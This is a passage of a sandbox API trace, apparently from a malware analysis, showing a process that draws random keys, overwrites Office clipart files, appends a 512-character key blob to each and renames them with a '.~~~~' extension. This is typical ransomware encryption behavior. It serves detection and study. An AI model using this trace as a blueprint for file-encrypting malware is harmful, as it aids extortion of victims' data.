	[0105.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.~~~~")) returned 1
	[0105.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.476] GetLastError () returned 0x0
	[0105.476] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2941768) returned 1
	[0105.478] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.478] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0105.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.478] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22546792921) returned 1
	[0105.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa88a9330, dwHighDateTime=0x1d60e1e)) 
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cfe0
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cfe0 | out: hHeap=0x300000) returned 1
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286bc48
	[0105.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.479] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.479] GetLastError () returned 0x0
	[0105.479] GetLastError () returned 0x0
	[0105.479] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.479] GetLastError () returned 0x0
	[0105.479] GetLastError () returned 0x0
	[0105.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffed7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.483] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1284, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1284, lpOverlapped=0x0) returned 1
	[0105.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.484] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.484] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.484] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.485] CloseHandle (hObject=0x130) returned 1
	[0105.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.485] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.~~~~")) returned 1
	[0105.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.486] GetLastError () returned 0x0
	[0105.487] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2941768) returned 1
	[0105.488] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.488] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0105.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.488] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22547840773) returned 1
	[0105.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa88cf490, dwHighDateTime=0x1d60e1e)) 
	[0105.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d018
	[0105.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d018 | out: hHeap=0x300000) returned 1
	[0105.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286bce0
	[0105.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.489] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.489] GetLastError () returned 0x0
	[0105.490] GetLastError () returned 0x0
	[0105.490] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.490] GetLastError () returned 0x0
	[0105.490] GetLastError () returned 0x0
	[0105.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe904, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.492] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x16fc, lpOverlapped=0x0) returned 1
	[0105.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.493] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.494] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.494] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.494] CloseHandle (hObject=0x130) returned 1
	[0105.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.494] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.~~~~")) returned 1
	[0105.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.495] GetLastError () returned 0x0
	[0105.495] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.531] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.531] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.531] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22552163944) returned 1
	[0105.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa89418b0, dwHighDateTime=0x1d60e1e)) 
	[0105.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28be5e0
	[0105.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28be5e0 | out: hHeap=0x300000) returned 1
	[0105.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0105.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286bc48
	[0105.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.532] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.533] GetLastError () returned 0x0
	[0105.533] GetLastError () returned 0x0
	[0105.533] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.533] GetLastError () returned 0x0
	[0105.533] GetLastError () returned 0x0
	[0105.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffed6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.538] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x1294, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0x1294, lpOverlapped=0x0) returned 1
	[0105.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.539] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.540] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.540] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.540] CloseHandle (hObject=0x130) returned 1
	[0105.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0105.540] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.~~~~")) returned 1
	[0105.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.857] GetLastError () returned 0x0
	[0105.857] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.859] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.859] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.859] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22584899610) returned 1
	[0105.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8c61590, dwHighDateTime=0x1d60e1e)) 
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d280
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d280 | out: hHeap=0x300000) returned 1
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0105.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872138
	[0105.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.860] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.860] GetLastError () returned 0x0
	[0105.861] GetLastError () returned 0x0
	[0105.861] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.861] GetLastError () returned 0x0
	[0105.861] GetLastError () returned 0x0
	[0105.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffeab4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.911] WriteFile (in: hFile=0x130, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x154c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0x154c, lpOverlapped=0x0) returned 1
	[0105.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.913] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.913] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.913] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.913] CloseHandle (hObject=0x130) returned 1
	[0105.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0105.913] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.~~~~")) returned 1
	[0105.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.914] GetLastError () returned 0x0
	[0105.915] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.916] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.916] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.916] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22590606456) returned 1
	[0105.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8cd39b0, dwHighDateTime=0x1d60e1e)) 
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d2b8
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d2b8 | out: hHeap=0x300000) returned 1
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0105.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872268
	[0105.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.917] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.917] GetLastError () returned 0x0
	[0105.917] GetLastError () returned 0x0
	[0105.917] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.917] GetLastError () returned 0x0
	[0105.917] GetLastError () returned 0x0
	[0105.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffec18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.920] WriteFile (in: hFile=0x130, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x13e8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0x13e8, lpOverlapped=0x0) returned 1
	[0105.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.921] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.921] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
